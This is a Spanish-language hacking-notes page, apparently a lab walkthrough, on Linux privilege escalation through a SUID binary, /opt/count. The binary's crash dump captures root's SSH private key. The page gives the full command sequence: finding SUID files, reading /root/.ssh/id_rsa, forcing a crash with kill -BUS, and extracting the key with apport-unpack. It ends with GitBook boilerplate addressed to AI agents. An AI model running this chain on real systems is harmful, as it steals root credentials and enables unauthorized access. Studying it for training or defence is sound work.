> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/privesc/suid/suid-core-dump-opt-count-linux-privilege-escalation.md).

# Volcado en core SUID /opt/count - Escalada de privilegios en Linux

## Qué es

Los binarios SUID se ejecutan con los privilegios de su propietario, a menudo root. Un binario SUID vulnerable, desactualizado o excesivamente flexible puede leer archivos protegidos, iniciar una shell con privilegios o ejecutar código controlado por un atacante. Esta página específica se centra en **SUID - Volcado de memoria (/opt/count)** y mantiene práctico el flujo de explotación: identificar la condición, validarla de forma segura y luego ejecutar la carga útil mínima necesaria para demostrar el impacto.

## Enumeración

Comienza confirmando el contexto local y la configuración incorrecta exacta antes de ejecutar la ruta de explotación.

```bash
find / -perm -4000 -type f 2>/dev/null
```

## Ejemplos

Use el siguiente comando para buscar privilegios SUID disponibles para nuestro usuario:

```bash
find / -perm -4000 2>/dev/null
```

Encontramos un archivo poco común ubicado en `/opt/count`, propiedad de `root`.

<figure><img src="/files/897742b627316504cc2e9d67b973ea211756529e" alt=""><figcaption></figcaption></figure>

Cuando este binario se ejecuta, pide un archivo, luego imprime el número total de caracteres, palabras y líneas. El script lee el contenido del archivo y muestra sus propiedades.

<figure><img src="/files/19dd89174c7d7300f3dbc3847c07093e71843294" alt="" width="563"><figcaption></figcaption></figure>

### Binario de volcado de memoria

Al examinar el código fuente, podemos observar que se genera un volcado de memoria, almacenando temporalmente el contenido en caso de error.

<figure><img src="/files/7de472befb39bc0d0bd05144c77203e3368b4b0c" alt=""><figcaption></figcaption></figure>

Los errores se guardan en el `/var/crash` directorio. Así es como se crea un volcado de memoria:

1. **Ingrese el nombre del archivo o directorio:**

   ```bash
   Introduce el nombre del archivo/directorio de origen: /root/.ssh/id_rsa
   ```

   (Clave SSH de root)
2. \*\*¿Guardar resultados en un archivo? \*\*

   ```css
   ¿Guardar resultados en un archivo? [y/N]: ^Z
   ```

   (En segundo plano)
3. **Obtén el PID:**

   ```bash
   ps
   ```

   *(Copie el PID)*
4. **Finaliza el proceso:**

   ```bash
   kill -BUS 'PID'
   ```
5. **Relanza el binario:**

   ```bash
   fg
   ```
6. **Comprueba el directorio de volcados de memoria:**

   ```bash
   ls -l /var/crash
   ```

   (Aparece un nuevo archivo: `_opt_count.1000.crash`)

<figure><img src="/files/2d20fd2a2d0be967ebdc7a2acc50f40b566457c7" alt=""><figcaption></figcaption></figure>

Ahora tenemos un volcado de memoria core en base64 que contiene la clave SSH de root.

<figure><img src="/files/13d41e181bf0c33aaef44e18eeca77efa99c2df0" alt=""><figcaption></figcaption></figure>

### apport-unpack

Para extraer la información, usaremos `apport-unpack`:

```bash
apport-unpack /var/crash/_opt_count.1000.crash /tmp/ssh
```

Luego listaremos el contenido del archivo en `/tmp/ssh/coredump` usando `strings`:

<figure><img src="/files/de16018761dbbc0925ee3c6c5d1bb9aced20bd02" alt=""><figcaption></figcaption></figure>

Encontramos la clave SSH de root

<figure><img src="/files/5fb1e9b4442abf7297fe25e40e9224172715b804" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/es/privesc/suid/suid-core-dump-opt-count-linux-privilege-escalation.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
